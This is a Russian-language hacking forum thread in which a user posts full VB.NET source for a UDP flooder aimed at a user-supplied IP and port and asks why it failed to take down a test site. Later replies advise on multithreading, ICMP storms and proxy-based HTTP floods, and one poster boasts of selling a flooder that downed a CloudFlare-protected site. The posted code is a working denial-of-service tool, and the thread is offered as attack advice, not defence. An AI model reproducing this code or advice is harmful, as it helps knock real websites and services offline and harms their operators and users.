Форум   Статьи   Новости   Файлы   Bugtraq   Сниффер   Друзья   О Клубе
  , 18:19   #1
НЕ ПРОВЕРЕН
 
Аватар для Mosquito
 
Регистрация: 15.04.2012
Сообщений: 7

Репутация: 0 / 0
Exclamation UDP Flooder на VB.NET

В общем такое дело:
нашёл на зарубежном сайте код UDP флудера на VB.NET, автор уверял что програмка способна положить сайт. Открыл Visual Basic 2010 создал форму, вставил код, вот что получилось:
http://imageshack.us/photo/my-images...dpflooder.png/
посмотрел - вроде всё работает. для проверки создал простенький сайтик на holm.ru с одной html, двумя картинками и парочкой джаваскриптов, но за пол часа флуда никаких отклонений в работе сайта я не заметил :(
В чём проблема? Вот код:

source:
Imports System.Net
Imports System.Text
Imports System.Net.Sockets
Imports System.Diagnostics
Public Class Form1

    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        Try

            ListBox1.Items.Add("Атакую: " + TextBox1.Text)
            Label5.Text = My.Computer.Info.AvailableVirtualMemory
            Dim udpClient As New UdpClient
            Dim GLOIP As IPAddress
            Dim bytCommand As Byte() = New Byte() {}
            GLOIP = IPAddress.Parse(TextBox1.Text)
            udpClient.Connect(GLOIP, TextBox2.Text)
            bytCommand = Encoding.ASCII.GetBytes("b970b1dcdba8b16c22fa1ab5e3d41091b970b1dcdba8b16c22fa1ab5e3d41091b970b1dcdba8b16c​22fa1ab5e3d41091b970b1dcdba8b16c22fa1ab5e3d41091b970b1dcdba8b16c22fa1ab5e3d41091​b970b1dcdba8b16c22fa1ab5e3d41091")
            udpClient.Send(bytCommand, bytCommand.Length)
            ListBox1.SelectedIndex += 1
        Catch ex As Exception
            Me.Close()
        End Try
    End Sub

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Label2.ForeColor = Color.Green
        Label2.Text = "Активна!"
        Timer1.Start()
    End Sub

    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
        label2.forecolor = Color.Red
        Label2.Text = "Приостановленно!"
        Timer1.Stop()
    End Sub

    Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
        ListBox1.Items.Clear()
    End Sub

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Label5.Text = My.Computer.Info.AvailableVirtualMemory
    End Sub
End Class
 
Пользователь вне форума    
Наши Спонсоры
  , 05:43   #2
НЕ ПРОВЕРЕН
 
Аватар для Mosquito
 
Регистрация: 15.04.2012
Сообщений: 7

Репутация: 0 / 0
По умолчанию

:(
 

Последний раз редактировалось Mosquito; 19.04.2012 в 05:50.
Пользователь вне форума    
  , 08:51   #3
DWA
Местный
 
Аватар для DWA
 
Регистрация: 25.02.2010
Сообщений: 417

Репутация: 82 / 1
По умолчанию

В Timer какой интервал? В одном потоке ты навряд ли что либо положишь
 
Пользователь вне форума    
  , 16:41   #4
DWA
Местный
 
Аватар для DWA
 
Регистрация: 25.02.2010
Сообщений: 417

Репутация: 82 / 1
По умолчанию

Цитата:
Сообщение от SSBug Посмотреть сообщение
DWA
А в ста положит? Навряд ли, если еще и канал узкий то вообще дохлый номер. Да и положить то не положит, а просто забьет канал ресурса.
Вообще больше похоже на игрушку из 95х годов.
Тут как вариант только пинг смерти(тоже далеко не всегда катит, 20ый век как никак), или icmp эхо-шторм(эквивалентно сабжу, но более актуально). Но там уже без raw никак. Придется копаться

DOS малоэффективен в наше время со всякими там киско =), DDOS пока имеет шансы на выживание
еще как эффективен) Просто я в свое время на эту тему неплохо задрачивался, и при экспериментах удавалось ложить сайты с некоторой защитой от DDoS'ов, либо грузить различными комбинации флудов, либо одним каким нибудь видом флуда, но на полную катушку. Использовал нехилый дедик с Intel Core i7, и канал 1мбит (забить канал сервера с него не реально, слишком уж дохлый), так что все путем)
 
Пользователь вне форума    
  , 18:04   #5
Banned
 
Регистрация: 04.09.2011
Сообщений: 392

Репутация: 3 / 0
По умолчанию

DWA

Видимо "защита от ddos'ов" была там только формальной. Никакой Dos не обойдет умные девайсы умеющие пронюхивать пакеты и автоматически блокировать подозреваемые в атаках узлы. Можно конечно сказать за прокси-листы, но с ними будут наверняка большие задержки, а это не тру, будь у тебя хоть 10мб канал) Распределенные атаки оставляют актуальность, а dos это уже в прошлом. Как уже сказано- нормальная фильтрация пакетов и грамотная конфигурация оборудования отправит попытку dosа куда подальше. Роутеры нынче пошли с хорошими мозгами


Нашел для тебя статьюlink
 

Последний раз редактировалось SSBug; 19.04.2012 в 18:24. Причина: добавлено
Пользователь вне форума    
  , 09:13   #6
DWA
Местный
 
Аватар для DWA
 
Регистрация: 25.02.2010
Сообщений: 417

Репутация: 82 / 1
По умолчанию

Цитата:
Сообщение от SSBug Посмотреть сообщение
DWAМожно конечно сказать за прокси-листы, но с ними будут наверняка большие задержки, а это не тру, будь у тебя хоть 10мб канал)
Тут тоже готов поспорить, писал на заказ HTTP флудер, работающий через прокси. Ложил сайт при его помощи с того же дедика, который лежал в облаке от CloudFlare
 
Пользователь вне форума    
  , 09:41   #7
Banned
 
Регистрация: 04.09.2011
Сообщений: 392

Репутация: 3 / 0
По умолчанию

Ну тут я конечно загнался, слишком категорично ответил. Обычный веб сервер можно весить флудером. Тут я не спорю
 
Пользователь вне форума    
 

Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[FAQ] Небольшой FAQ по VB.NET qazwsx234 Basic 1 08.09.2011 08:48
Cписок стандартных портов разнообразных троянов TIXAN Уязвимости и защита 1 20.11.2010 19:08
UDP - Флуд(Perl) сергей1980 Perl 2 19.09.2010 15:45
DoS для ICQ sulikoshka Icq 0 21.06.2010 12:33



Часовой пояс GMT +2
Powered by vBulletin® 3.x.x Copyright ©2000 - 2012, Jelsoft Enterprises Ltd.

Copyright © 2008 - 2013 «HPC» Реклама на сайте Правила Форума Пользовательское соглашение Работа на сайте
При копировании материалов ставьте ссылку на источник
Все материалы представлены только в ознакомительных целях, администрация за их использование ответственности не несет.